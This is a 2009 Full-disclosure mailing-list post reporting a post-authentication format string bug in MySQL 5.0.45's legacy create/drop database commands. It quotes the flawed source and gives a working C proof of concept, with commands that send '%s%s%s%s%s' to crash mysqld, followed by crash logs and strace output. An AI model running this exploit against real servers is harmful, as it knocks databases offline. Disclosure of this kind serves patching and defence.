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[Full-disclosure] MySQL <= 5.0.45 post auth format string vulnerability

From: Kingcope (kcope2googlemail.com)
Date: Wed Jul 08 2009 - 18:01:16 CDT


MySQL (tested: Version 5.0.45 on CentOS (Linux)) Format String Vulnerability
MySQL General Available (GA) Release is vulnerable.
Latest MySQL Version is not vulnerable since the bug if ifdef'ed off.

from mysql-5.0.75 source (mysql-5.0.75.tar.gz) in the file
libmysqld/sql_parse.cc
this source code is also included in mysql-4.0.0, mysql versions >=
4.0.0 are affected.

function prototype: write(THD *thd, enumenum_server_command command,
const char* format, ...)
function call: write(thd, command, packet);

on line 2084:
  case COM_CREATE_DB: // QQ: To be removed
    {
      char *db=thd->strdup(packet), *alias;
      HA_CREATE_INFO create_info;

      statistic_increment(thd->status_var.com_stat[SQLCOM_CREATE_DB],
                          &LOCK_status);
      // null test to handle EOM
      if (!db || !(alias= thd->strdup(db)) || check_db_name(db))
      {
        my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
        break;
      }
      if (check_access(thd,CREATE_ACL,db,0,1,0,is_schema_db(db)))
        break;
      [1] mysql_log.write(thd,command,packet);
      bzero(&create_info, sizeof(create_info));
      mysql_create_db(thd, (lower_case_table_names == 2 ? alias : db),
                      &create_info, 0);
      break;
    }

line 2105:
  case COM_DROP_DB: // QQ: To be removed
    {
      statistic_increment(thd->status_var.com_stat[SQLCOM_DROP_DB],
                          &LOCK_status);
      char *db=thd->strdup(packet);
      /* null test to handle EOM */
      if (!db || check_db_name(db))
      {
        my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");
        break;
      }
      if (check_access(thd,DROP_ACL,db,0,1,0,is_schema_db(db)))
        break;
      if (thd->locked_tables || thd->active_transaction())
      {
        my_message(ER_LOCK_OR_ACTIVE_TRANSACTION,
                   ER(ER_LOCK_OR_ACTIVE_TRANSACTION), MYF(0));
        break;
      }
      [2] mysql_log.write(thd,command,db);
      mysql_rm_db(thd, db, 0, 0);
      break;
    }

at [1] and [2] there is a call to mysql_log.write() without
format string specifiers leading to a format string bug.
authentication is required.

COM_CREATE_DB and COM_DROP_DB are "legacy" code. Recent clients
does not use this functions to create and drop databases.
Older clients do. Even Newest GA version of mysqld is able to handle
the requests though.

mysql logging has to be enabled. it seems acls are enforced, so
create db or drop db privs may be required, though untested.
--> my.cnf at [mysqld] log=/var/log/mysql.log for example

PROOF OF CONCEPT WHICH CRASHES MYSQLD FOLLOWS
MYSQLD RESTARTS IMMEDIATELY
CAUSE: SIGNAL SEGV
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---snip---
#include <stdlib.h>
#include <stdio.h>

#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>

#define NullS (char *) 0

int
main (int argc, char **argv)
{
  MYSQL *mysql = NULL;

  mysql = mysql_init (mysql);

  if (!mysql)
    {
      puts ("Init faild, out of memory?");
      return EXIT_FAILURE;
    }

  if (!mysql_real_connect (mysql, /* MYSQL structure to use */
                           "localhost", /* server hostname or IP address */
                           "monty", /* mysql user */
                           "montypython", /* password */
                           NULL, /* default database to use, NULL
for none */
                           0, /* port number, 0 for default */
                           NULL, /* socket file or named pipe name */
                           CLIENT_FOUND_ROWS /* connection flags */ ))
    {
      puts ("Connect failed\n");
    }
  else
    {
      puts ("Connect OK\n");
// mysql_create_db(mysql, "%s%s%s%s%s");
        simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

    }

  mysql_close (mysql);

  return EXIT_SUCCESS;
}
---snip---

reproduce:
$gcc mysql_format.c -o mysql_format -lmysqlclient
$./mysql_format %s%s%s%s%s

Debugging output follows - Crashdump and strace output

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Version: '5.0.45-log' socket: '/var/lib/mysql/mysql.sock' port: 3306
 Source distribution
090620 1:53:52 - mysqld got signal 11;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.

key_buffer_size=8388600
read_buffer_size=131072
max_used_connections=1
max_connections=100
threads_connected=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size +
sort_buffer_size)*max_connections = 225791 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

thd=0x8aea8a8
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
Cannot determine thread, fp=0xb038d7ec, backtrace may not be correct.
Stack range sanity check OK, backtrace follows:
0x8187393
0xb7be8afb
0x8208dc4
0x81a55e2
0x81a58b7
0x81a6487
0xb7e2a33a
0xb7c4b5ce
New value of fp=(nil) failed sanity check, terminating stack trace!
Please read http://dev.mysql.com/doc/mysql/en/using-stack-trace.html
and follow instructions on how to resolve the stack trace. Resolved
stack trace is much more helpful in diagnosing the problem, so please do
resolve it
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort...
thd->query at (nil) is invalid pointer
thd->thread_id=1
The manual page at http://www.mysql.com/doc/en/Crashing.html contains
information that should help you find out what is causing the crash.

Number of processes running now: 0
090620 01:53:52 mysqld restarted
090620 1:53:52 InnoDB: Started; log sequence number 0 4876777
090620 1:53:52 [Note] /usr/libexec/mysqld: ready for connections.
Version: '5.0.45-log' socket: '/var/lib/mysql/mysql.sock' port: 3306
 Source distribution
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

26454 futex(0x8a6ff90, FUTEX_WAIT, 1, NULL <unfinished ...>
26453 select(14, [11 13], NULL, NULL, NULL <unfinished ...>
26455 futex(0x8a70000, FUTEX_WAIT, 5, NULL <unfinished ...>
26456 futex(0x8a70070, FUTEX_WAIT, 3, NULL <unfinished ...>
26457 futex(0x8a700e0, FUTEX_WAIT, 1, NULL <unfinished ...>
26459 select(0, NULL, NULL, NULL, {0, 55000} <unfinished ...>
26460 select(0, NULL, NULL, NULL, {0, 953000} <unfinished ...>
26461 futex(0x872a630, FUTEX_WAIT, 1, NULL <unfinished ...>
26462 rt_sigtimedwait([HUP QUIT ALRM TERM TSTP], <unfinished ...>
26463 futex(0x86e2044, FUTEX_WAIT, 1, NULL <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456538
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456538
26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456539
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456540
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456540
26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456541
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456542
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456542
26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456543
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456544
26459 time(NULL) = 1245456544
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456544
26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456545
26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)
26459 time(NULL) = 1245456546
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26460 <... select resumed> ) = 0 (Timeout)
26460 time(NULL) = 1245456546
26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>
26459 <... select resumed> ) = 0 (Timeout)
26459 time(NULL) = 1245456547
26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>
26453 <... select resumed> ) = 1 (in [13])
26453 fcntl64(13, F_SETFL, O_RDWR|O_NONBLOCK) = 0
26453 accept(13, {sa_family=AF_FILE, path=""}, [2]) = 26
26453 fcntl64(13, F_SETFL, O_RDWR) = 0
26453 getsockname(26, {sa_family=AF_FILE, path="/var/lib/mysql"}, [28]) = 0
26453 fcntl64(26, F_SETFL, O_RDONLY) = 0
26453 fcntl64(26, F_GETFL) = 0x2 (flags O_RDWR)
26453 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
26453 setsockopt(26, SOL_IP, IP_TOS, [8], 4) = -1 EOPNOTSUPP
(Operation not supported)
26453 time(NULL) = 1245456547
26453 mmap2(NULL, 200704, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb035e000
26453 mprotect(0xb035e000, 4096, PROT_NONE) = 0
26453 clone(child_stack=0xb038e494,
flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,
parent_tidptr=0xb038ebd8, {entry_number:6, base_addr:0xb038eb90,
limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not_present:0, useable:1},
child_tidptr=0xb038ebd8) = 16147
26453 select(14, [11 13], NULL, NULL, NULL <unfinished ...>
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_UNBLOCK, [], [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0
16147 setsockopt(26, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0
16147 write(26, "8\0\0\0\n5.0.45-log\0\1\0\0\0]/mZZ46R\0,\242\300"..., 60) = 60
16147 read(26, 0x8b19ae0, 4) = -1 EAGAIN (Resource
temporarily unavailable)
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 tgkill(26453, 26462, SIGALRM) = 0
26462 <... rt_sigtimedwait resumed> 0, 0, 8) = 14
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
<unfinished ...>
26462 rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], <unfinished ...>
16147 <... rt_sigprocmask resumed> NULL, 8) = 0
26462 <... rt_sigprocmask resumed> [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR <unfinished ...>
26462 time( <unfinished ...>
16147 <... fcntl64 resumed> ) = 0
26462 <... time resumed> NULL) = 1245456547
16147 read(26, <unfinished ...>
26462 alarm(5) = 0
26462 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
26462 rt_sigtimedwait([HUP QUIT ALRM TERM TSTP], <unfinished ...>
16147 <... read resumed> "&\0\0\1", 4) = 4
16147 read(26, "\207\242\0\0\0\0\0\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"...,
38) = 38
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
16147 time(NULL) = 1245456547
16147 write(3, "090620 2:09:07\t 1 Connect "..., 55) = 55
16147 write(26, "\7\0\0\2\0\0\0\2\0\0\0", 11) = 11
16147 time(NULL) = 1245456547
16147 read(26, 0x8b19ae0, 4) = -1 EAGAIN (Resource
temporarily unavailable)
16147 time(NULL) = 1245456547
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 tgkill(26453, 26462, SIGALRM) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR) = 0
16147 read(26, <unfinished ...>
26462 <... rt_sigtimedwait resumed> 0, 0, 8) = 14
16147 <... read resumed> "\v\0\0\0", 4) = 4
16147 read(26, "\5%s%s%s%s%s", 11) = 11
16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM
TERM TSTP], 8) = 0
16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],
NULL, 8) = 0
16147 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0
16147 time(NULL) = 1245456547
16147 --- SIGSEGV (Segmentation fault) 0 (0) ---
16147 time(NULL) = 1245456547
16147 write(2, "090620 2:09:07 - mysqld got sig"..., 266) = 266
16147 write(2, "We will try our best to scrape u"..., 176) = 176
16147 write(2, "key_buffer_size=8388600\n", 24) = 24
16147 write(2, "read_buffer_size=131072\n", 24) = 24
16147 write(2, "max_used_connections=1\n", 23) = 23
16147 write(2, "max_connections=100\n", 20) = 20
16147 write(2, "threads_connected=1\n", 20) = 20
16147 write(2, "It is possible that mysqld could"..., 143) = 143
16147 write(2, "Hope that\'s ok; if not, decrease"..., 66) = 66
16147 write(2, "thd=0x8aea8a8\n", 14) = 14
16147 write(2, "Attempting backtrace. You can us"..., 159) = 159
16147 write(2, "Cannot determine thread, fp=0xb0"..., 70) = 70
16147 write(2, "Stack range sanity check OK, bac"..., 48) = 48
16147 write(2, "0x8187393\n", 10) = 10
16147 write(2, "0xb7be8afb\n", 11) = 11
16147 write(2, "0x8208dc4\n", 10) = 10
16147 write(2, "0x81a55e2\n", 10) = 10
16147 write(2, "0x81a58b7\n", 10) = 10
16147 write(2, "0x81a6487\n", 10) = 10
16147 write(2, "0xb7e2a33a\n", 11) = 11
16147 write(2, "0xb7c4b5ce\n", 11) = 11
16147 write(2, "New value of fp=(nil) failed san"..., 68) = 68
16147 write(2, "Please read http://dev.mysql.com"..., 222) = 222
16147 write(2, "Trying to get some variables.\nSo"..., 90) = 90
16147 write(2, "thd->query at (nil) ", 20) = 20
16147 write(2, " is invalid pointer\n", 20) = 20
16147 write(2, "thd->thread_id=1\n", 17) = 17
16147 write(2, "The manual page at http://www.my"..., 139) = 139
16147 exit_group(1) = ?
26462 rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], <unfinished ...>
26463 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26459 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26453 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26454 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26455 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26456 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26457 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26461 <... futex resumed> ) = -1 EINTR (Interrupted system call)
26460 <... select resumed> ) = ? ERESTARTNOHAND (To be restarted)
26462 <... rt_sigprocmask resumed> [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0

With Kind Regards,

Nikolaos Rangos
E-Mail: kcope[at]googlemail.com

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